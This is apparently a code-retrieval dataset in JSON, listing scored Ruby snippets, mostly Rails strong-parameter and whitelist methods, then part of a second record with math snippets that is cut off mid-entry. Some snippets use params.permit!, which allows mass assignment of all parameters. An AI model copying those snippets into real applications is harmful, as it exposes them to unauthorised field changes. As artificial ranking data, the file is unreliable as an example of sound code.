[ { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.7121987", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.70541996", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.69483954", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6902367", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6733912", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6717838", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.6687021", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6676254", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.66612333", "text": "def filtered_parameters; end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6555296", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "7ac5f60df8240f27d24d1e305f0e5acb", "score": "0.6527056", "text": "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.6456324", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6450841", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.6450127", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.6447226", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6434961", "text": "def valid_params?; end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.64121825", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.64121825", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.63913447", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6373396", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.6360051", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.62856233", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.627813", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.62451434", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.6228103", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6224965", "text": "def check_params\n true\n end", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.6222941", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.6210244", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "ff55cf04e6038378f431391ce6314e27", "score": "0.62077755", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.61762565", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "0d980fc60b69d03c48270d2cd44e279f", "score": "0.61711127", "text": "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.6168448", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.6160164", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.61446255", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.6134175", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6120522", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "76d85c76686ef87239ba8207d6d631e4", "score": "0.6106709", "text": "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.60981655", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "2b19f8222e09c2518b0d19b4bf1f69d3", "score": "0.6076113", "text": "def list_params\n params.permit(:list_name)\n end", "title": "" }, { "docid": "aabfd0cce84d7f71b1ccd2df6a6af7c3", "score": "0.60534036", "text": "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "title": "" }, { "docid": "4f20d784611d82c07d49cf1cf0d6cb7e", "score": "0.60410434", "text": "def all_params; end", "title": "" }, { "docid": "5a96718b851794fc3e4409f6270f18fa", "score": "0.6034582", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "ff7bc2f09784ed0b4563cfc89b19831d", "score": "0.6029977", "text": "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "title": "" }, { "docid": "6c615e4d8eed17e54fc23adca0027043", "score": "0.6019861", "text": "def user_params\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "2032edd5ab9475d59be84bdf5595f23a", "score": "0.60184896", "text": "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "title": "" }, { "docid": "c59ec134c641678085e086ab2a66a95f", "score": "0.60157263", "text": "def permitted_params\n @wfd_edit_parameters\n end", "title": "" }, { "docid": "a8faf8deb0b4ac1bcdd8164744985176", "score": "0.6005857", "text": "def user_params\r\n end", "title": "" }, { "docid": "b98f58d2b73eac4825675c97acd39470", "score": "0.6003803", "text": "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.60012573", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.59955895", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.5994598", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.5993604", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "e4c37054b31112a727e3816e94f7be8a", "score": "0.5983824", "text": "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.5983166", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5977431", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "4d77abbae6d3557081c88dad60c735d0", "score": "0.597591", "text": "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "title": "" }, { "docid": "55d8ddbada3cd083b5328c1b41694282", "score": "0.5968824", "text": "def params_permit\n params.permit(:id)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.5965953", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59647584", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59647584", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "4e758c3a3572d7cdd76c8e68fed567e0", "score": "0.59566855", "text": "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "title": "" }, { "docid": "3154b9c9e3cd7f0b297f900f73df5d83", "score": "0.59506303", "text": "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "title": "" }, { "docid": "b48f61fbb31be4114df234fa7b166587", "score": "0.5950375", "text": "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "title": "" }, { "docid": "c4802950f28649fdaed7f35882118f20", "score": "0.59485626", "text": "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "5d64cb26ce1e82126dd5ec44e905341c", "score": "0.59440875", "text": "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.5930872", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "da4f66ce4e8c9997953249c3ff03114e", "score": "0.5930206", "text": "def argument_params\n params.require(:argument).permit(:name)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5925668", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.59235454", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "be01bb66d94aef3c355e139205253351", "score": "0.5917905", "text": "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.59164816", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "d6bf948034a6c8adc660df172dd7ec6e", "score": "0.5913821", "text": "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "title": "" }, { "docid": "eb5b91d56901f0f20f58d574d155c0e6", "score": "0.59128743", "text": "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "title": "" }, { "docid": "c6a96927a6fdc0d2db944c79d520cd99", "score": "0.5906617", "text": "def parameters\n nil\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.59053683", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "a743e25503f1cc85a98a35edce120055", "score": "0.59052664", "text": "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "title": "" }, { "docid": "533048be574efe2ed1b3c3c83a25d689", "score": "0.5901591", "text": "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "title": "" }, { "docid": "02a61b27f286a50802d652930fee6782", "score": "0.58987755", "text": "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.5897456", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "238705c4afebc0ee201cc51adddec10a", "score": "0.58970183", "text": "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.58942604", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" } ]
8dcb0c385c503cfcedc383fe215c846d
4/3pir^3 == 2r ^ 3
[ { "docid": "4e01d859af82235e2b4d393d4cf1721d", "score": "0.0", "text": "def length_hypotunuse(coord)\n hyp_sqrd = coord[0] ** 2 + coord[1] ** 2 + coord[2] ** 2\n hyp_length = hyp_sqrd ** 0.5\n end", "title": "" } ]
[ { "docid": "86935d0f98b4d5bb84f72bcf1f3f8af8", "score": "0.6755385", "text": "def f4( a, b, c )\n return truncate((a^b^c) + @constants[3])\n end", "title": "" }, { "docid": "32054024f99e8bd7686f3ccd42512746", "score": "0.6166749", "text": "def mod_sqr(p0) end", "title": "" }, { "docid": "61b556e759dea7ee395cd8ec4aec6228", "score": "0.6149207", "text": "def transmogrifier(num1,num2,num3)\n transmogrified = num1 * num2\n p transmogrified ** num3\n # to the power of **\nend", "title": "" }, { "docid": "7f4af1cc50eb4180f7044981fe84b126", "score": "0.5992721", "text": "def pent(n)\n (n * (3 * n - 1)) / 2\nend", "title": "" }, { "docid": "9c2c69bcb9107617e59ba8dc9d5b9f41", "score": "0.59909654", "text": "def ^(n)\n `this^n`\n end", "title": "" }, { "docid": "ac3efeece7359ff7e6bb353aaa65d6d5", "score": "0.59539545", "text": "def t(rs = 7)\n m = 0x9D2C_5680\n\n a = (2 ** 32) - rand(2 ** 30)\n b = a << rs\n c = b & m\n d = a ^ c\n\n puts a\n puts\n\n puts (as = sprintf(\"%039b\", a)) + \": a\"\n puts sprintf(\"%039b\", b) + \": b (a << #{rs})\"\n puts sprintf(\"%039b\", c) + \": c (b & 0x9D2C_5680)\"\n puts \"-\" * 39\n puts sprintf(\"%039b\", d) + \": d (c ^ a)\"\n puts\n\n d = d # putting here for symmetry\n e = d << rs\n f = e & m\n g = f ^ d\n\n puts sprintf(\"%039b\", d) + \": d\"\n puts sprintf(\"%039b\", e) + \": e (d << #{rs})\"\n puts sprintf(\"%039b\", f) + \": f (e & 0x9D2C_5680)\"\n puts \"-\" * 39\n puts (gs = sprintf(\"%039b\", g)) + \": g (f ^ d)\"\n puts\n\n puts sprintf(\"%039b\", m) + \": m\"\n puts sprintf(\"%039b\", c) + \": c (b & 0x9D2C_5680)\"\n puts sprintf(\"%039b\", m - c) + \": m - c: #{m-c}\"\n puts sprintf(\"%039b\", m ^ c) + \": m ^ c: #{m^c}\"\n puts sprintf(\"%039b\", m & c) + \": m & c == c? (#{m & c == c})\"\n puts\n\n puts sprintf(\"%039b\", e) + \": e\"\n puts sprintf(\"%039b\", c) + \": c\"\n puts sprintf(\"%039b\", e - c) + \": e - c: #{e-c}\"\n puts sprintf(\"%039b\", e ^ c) + \": e ^ c: #{e^c}\"\n puts sprintf(\"%039b\", e & c) + \": e & c: #{e & c})\"\n puts\n\n divergence =\n (0...as.length).\n detect do |idx|\n as[idx] != gs[idx]\n end\n\n puts \"They diverge at index: #{divergence || 'never'}\"\n\n if divergence\n puts as.insert(divergence, '_')\n puts gs.insert(divergence, '_')\n else\n puts as\n puts gs\n end\n\n divergence\nend", "title": "" }, { "docid": "ff86f84c3c3019202e33a164b1113f7a", "score": "0.5937033", "text": "def transmogrifier(num1, num2, num3)\n return (num1 * num2) ** num3 # ** raises to the power of...\nend", "title": "" }, { "docid": "86f4c7f5f7dc6ae7995f5ca29d66b4e3", "score": "0.5932302", "text": "def iqr(data)\n q3(data) - q1(data)\n end", "title": "" }, { "docid": "89d7d12a6d34311eabcae9d97b1aaebe", "score": "0.59289324", "text": "def triple(x)\n 0 unless x.odd?\n (x ** 2 - 1) / 2\nend", "title": "" }, { "docid": "0871bf5b5b0a0b86ca05dc072aa53a58", "score": "0.5914527", "text": "def cube(term1)\n return term1.to_i ** 3\nend", "title": "" }, { "docid": "da80113a370a7d76a1f2a8b60a7cd797", "score": "0.59117573", "text": "def transmogrifier num1, num2, num3\n\tp (num1 * num2) ** num3\nend", "title": "" }, { "docid": "eb0ea22db5d7fb6076858a63b31b7f6d", "score": "0.5889418", "text": "def test_right_assoc_of_power_op\n assert_eq interpret('2 ** 3 ** 2'), 512\n end", "title": "" }, { "docid": "d0a9a61e88fd58443140411508406adb", "score": "0.58725506", "text": "def f ( x )\n return (1 * (x**3)) + ((-16) * (x**2)) + (73 * x) + (-90)\nend", "title": "" }, { "docid": "5e86358dc054c220eced6d9a55212006", "score": "0.58626294", "text": "def test_xor_abc185f\n a = [1, 2, 3]\n st = Segtree.new(a, 0){ |x, y| x ^ y }\n assert_equal 0, st.prod(1 - 1, 3 - 1 + 1)\n assert_equal 1, st.prod(2 - 1, 3 - 1 + 1)\n\n st.set(2 - 1, st.get(2 - 1) ^ 3)\n assert_equal 2, st.prod(2 - 1, 3 - 1 + 1)\n end", "title": "" }, { "docid": "81afb2811c4ed8c343737481f79940b6", "score": "0.5841446", "text": "def always_three(number)\n (((number + 5) * 2 - 4) / 2 - number)\nend", "title": "" }, { "docid": "09ee40b1193776877acd91f35165b4ab", "score": "0.5827118", "text": "def transmogrifier(num1, num2, num3)\n p (num1 * num2) ** num3\nend", "title": "" }, { "docid": "84215da5820493a6859e99f18200b07e", "score": "0.58221245", "text": "def transmogrifier(num1, num2, num3)\n result = (num1 + num2) ** num3\n puts result\n return result\nend", "title": "" }, { "docid": "db4d53f9b76b08f5859c096f7d08e4a0", "score": "0.57978684", "text": "def always_three(number)\n (((number + 5) * 2 - 4) / 2 - number)\nend", "title": "" }, { "docid": "db4d53f9b76b08f5859c096f7d08e4a0", "score": "0.57978684", "text": "def always_three(number)\n (((number + 5) * 2 - 4) / 2 - number)\nend", "title": "" }, { "docid": "db4d53f9b76b08f5859c096f7d08e4a0", "score": "0.57978684", "text": "def always_three(number)\n (((number + 5) * 2 - 4) / 2 - number)\nend", "title": "" }, { "docid": "f376db60850204da0c8d3ce618abe277", "score": "0.5793033", "text": "def square_roots_for_p_3_mod_4(n)\n candidate = power n, (prime + 1) / 4\n square_roots_given_candidate n, candidate\n end", "title": "" }, { "docid": "6aaea158091cbe977e0d8c2b57f7b49b", "score": "0.57874537", "text": "def modPow(x, r, m)\n y = r\n z = x\n v = 1\n while y > 0\n u = y % 2\n t = y / 2\n if u == 1\n v = (v * z) % m\n end\n z = z * z % m\n y = t\n end\n return v\nend", "title": "" }, { "docid": "608f889699726c4b72ef9e5f08e4e622", "score": "0.57826555", "text": "def modPow(x, r, m)\n y = r\n z = x\n v = 1\n while y > 0\n u = y % 2\n t = y / 2\n if u == 1\n v = (v * z) % m\n end\n z = z * z % m\n y = t\n end\n return v\nend", "title": "" }, { "docid": "2f7e4172bf8c1a8757e5fe24f6fd110e", "score": "0.57760006", "text": "def pentnum(n)\n\treturn n*(3*n - 1)/2\nend", "title": "" }, { "docid": "64917657b1c7f1794144bb9cabfa14e4", "score": "0.5774021", "text": "def always_three(number)\n (((number + 5) * 2 - 4) / 2 - number)\nend", "title": "" }, { "docid": "426169b5e45a88244dc75338950b739d", "score": "0.57726586", "text": "def cubed_number(n)\n puts n ** 3\nend", "title": "" }, { "docid": "f030603e686cf7d9f9de185ac8dcc4e8", "score": "0.5767089", "text": "def trips(a,b,c)\n (a ** 2) + (b ** 2) == c**2\nend", "title": "" }, { "docid": "2dd1e5896f16d95fe4ad70500779d1a6", "score": "0.5760663", "text": "def transmogrifier num1, num2, num3\n ((num1 * num2) ** num3)\nend", "title": "" }, { "docid": "caa335229604b67723fb325ab829a255", "score": "0.57589424", "text": "def star_power\n # not implemented\n end", "title": "" }, { "docid": "4994d353dd8ae759097a812863e2abff", "score": "0.5757961", "text": "def transmogrifier(num1, num2, num3)\n\t(num1 * num2) ** num3\nend", "title": "" }, { "docid": "72f0a90e95f4d6ceaea0e093383fe950", "score": "0.5755662", "text": "def volume(length)\n return length^3\nend", "title": "" }, { "docid": "5979a2ffa11a4478e500f258965e1983", "score": "0.57536876", "text": "def modPow(x, r, m)\n y = r\n z = x\n v = 1\n while y > 0\n u = y % 2\n t = y / 2\n if u == 1\n v = (v * z) % m\n end\n z = z * z % m\n y = t\n end\n return v\n end", "title": "" }, { "docid": "5979a2ffa11a4478e500f258965e1983", "score": "0.57536876", "text": "def modPow(x, r, m)\n y = r\n z = x\n v = 1\n while y > 0\n u = y % 2\n t = y / 2\n if u == 1\n v = (v * z) % m\n end\n z = z * z % m\n y = t\n end\n return v\n end", "title": "" }, { "docid": "f3a98adf772083f622b5b6f02b9a77e7", "score": "0.57428455", "text": "def cube(siffra)\n return siffra**3\nend", "title": "" }, { "docid": "bea5f0e0b7ec0fa24db8d054168ea675", "score": "0.5742168", "text": "def transmogrifier(n1, n2, n3)\n return (n1 * n2) ** n3\nend", "title": "" }, { "docid": "78a7194f345d5f3d8db40b1a6b900dd4", "score": "0.57299817", "text": "def test # this is the only mode so far, but I made it extendable so that you can add more modes later\r\n \"\r\n n=($$**$.)[0xFA64B3ED9^$$] # this will do very crucial stuff, leave it alone\r\n m=$_?0b11010:$$%n # it's like that inverse square root thingy, just don't even try to understand\r\n [*n..m].step(n^m)[-1] # if you're curious, it's some prime algorithm, I forgot which, but should be easy to look up\r\n \".inspect\r\nend", "title": "" }, { "docid": "a9ab4a93cc3a1c006e7856a28325decd", "score": "0.572763", "text": "def f2( a, b, c )\n return truncate((a^b^c) + @constants[1])\n end", "title": "" }, { "docid": "78dafca4c6dd0bc6f97512dfc7f6e8ed", "score": "0.5718363", "text": "def power_v4(current, resistance)\n return (current ** 2.0) * resistance\n end", "title": "" }, { "docid": "f1a0931036a0ce72875d1ceb4f74caba", "score": "0.57009995", "text": "def rocket_equation(mass)\n mass/3-2\nend", "title": "" }, { "docid": "a7cbe15ca6858aff73febb27cb92d415", "score": "0.56766456", "text": "def power(base, power)\n\tbase ** power\nend", "title": "" }, { "docid": "ff61e9ea0b6b701d1e7ca3a216778d84", "score": "0.5675126", "text": "def step4c(q)\n s0 = @js.get_j(2, q).sqr\n s1 = s0.scalar(q)\n s2 = s1.mod_pow(@n / 4, @n)\n # S(2,q) = s2 if n = 4m+1\n # s2 J(2,q)^2 if n = 4m+3\n s = (@n[1] == 0 ? s2 : s2 * s0).reduce_mod!(@n)\n\n i = check_root_of_unity(2, 2, 4, s)\n\n i[0] != 1 && Utils.mod_pow(q, @n1_2, @n) == @n1\n end", "title": "" }, { "docid": "1505c24f205a49a9c7cb9723734c6d8d", "score": "0.5667627", "text": "def always_three(number)\r\n number = (((number + 5) * 2 - 4) / 2 - number)\r\nend", "title": "" }, { "docid": "8b6b6b0e558f8c23bd9250daef60fb68", "score": "0.56675154", "text": "def ^ c\n op :^, c\n end", "title": "" }, { "docid": "6247fa21d28e7a16627b093e80dc1582", "score": "0.56624717", "text": "def single_number(arr)\n result = 0\n i = 0\n while i < arr.length\n result = result^arr[i]\n i += 1\n end\n result\nend", "title": "" }, { "docid": "5431ad9ca52c7cb0c9a938e0de7a8733", "score": "0.5661546", "text": "def transmogrifier(num1, num2, num3)\n\tanswer = (num1*num2)**num3\n\n\tp answer\n\nend", "title": "" }, { "docid": "ad7fc96baa7b67584542edb19bc34086", "score": 